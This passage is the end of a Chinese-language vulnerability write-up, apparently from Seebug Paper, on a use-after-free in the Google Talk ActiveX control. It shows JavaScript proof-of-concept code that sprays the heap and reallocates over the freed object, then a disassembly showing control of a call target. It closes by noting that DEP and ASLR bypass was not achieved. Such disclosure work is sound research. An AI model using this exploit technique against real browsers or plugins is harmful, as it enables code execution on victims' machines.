      while (largechunk.length < 0x10000) largechunk += largechunk;  
      for (var i = 0; i < 0x200; i++)  
      {  
           spray[i] = largechunk.substring(0,(0x50-6)/2);  
      }  
 }  
 function corelan_deps_spray()  
 {  
      var div_container = document.getElementById("corelanspraydiv");  
      div_container.style.cssText = "display:none";  
      junk = unescape("%u615d%u6161");  
      while (junk.length < 0x80000) junk += junk;  
      for (var i = 0; i < 0x500; i++)  
      {  
           var obj = document.createElement("button");  
           obj.title = junk;  
           div_container.appendChild(obj);  
      }  
 }  
 function sdrcallback(){  
      //alert("callback function is called!"); //use this to attach debugger and bu googletalkax!DllUnregisterServer+0x6385   
      this.document.getElementById("seandiv").innerHTML = "";  
      CollectGarbage();  
      CollectGarbage();  
      CollectGarbage();  
      //spray the heap with 0x50 size objects, this will overwrite the freed chunk  
      dospray();  
      //interact with the object  
      var ver = sdr.version;  
      sdr.send("sean");  
 }  
 //prime the lfh heap  
 dospray();  
 //spray reliable so location at 0x20302228 holds our data  
 corelan_deps_spray();  
 //invoke callback function  
 sdr.onmessage = sdrcallback;  
 </script>  
 <body>  

 </body>  
 </html>  

代碼通過DEPS堆噴能確保將內存0x20302228處的對應值置為0x6161615d。

之后,“onmessage”方法的回調函數中會進行對象的釋放操作,并通過堆噴分配大量相同大小(0x50字節)的字符串對象來重寫此釋放內存。這時該釋放指針指向的內容就變成了新分配的字符串對象,其中包含了指向0x20302228的指針。當訪問此釋放指針時,同樣會執行下述的匯編代碼:

 13e70ca5 8b471c        mov   eax,dword ptr [edi+1Ch]  
 13e70ca8 8b30          mov   esi,dword ptr [eax] 
 13e70caa 8d850cffffff  lea   eax,[ebp-0F4h]  
 13e70cb0 50            push  eax  
 13e70cb1 8d45e4        lea   eax,[ebp-1Ch]  
 13e70cb4 50            push  eax  
 13e70cb5 e8768e0000    call  googletalkax!DllUnregisterServer+0xf210 (13e79b30)  
 13e70cba 8b4f1c        mov   ecx,dword ptr [edi+1Ch]  
 13e70cbd 83c408        add   esp,8  
 13e70cc0 50            push  eax  
 13e70cc1 ff5604        call  dword ptr [esi+4]  

不同的是之前釋放指針指向的EDI+1Ch中的無效內容現在被替換成了0x20302228,這個值會被保存到EAX寄存器中,而后0x20302228內存處的值又被賦值給了ESI寄存器,即通過DEPS堆噴設置的0x6161615d。最后程序會調用ESI+4指向的地址,也就是我們可控的0x61616161地址處的值,從而證明了代碼的執行。

0x08 后續工作

后續的工作就是要把此漏洞轉換成真正可利用的exploit,不過由于程序存在DEP和ASLR保護,我們還需要借此實現相關的infoleak,我之前花了些時間試圖借助https://media.blackhat.com/bh-us-12/Briefings/Serna/BH_US_12_Serna_Leak_Era_Slides.pdf 中的內容來尋找靈感,但最終還是沒能再繼續下去。你要是有什么idea歡迎聯系我一起討論,如果能找到將這個bug轉換成infoleak的方法,那么我會非常感興趣的。


Paper 本文由 Seebug Paper 發布,如需轉載請注明來源。本文地址:http://www.bjnorthway.com/212/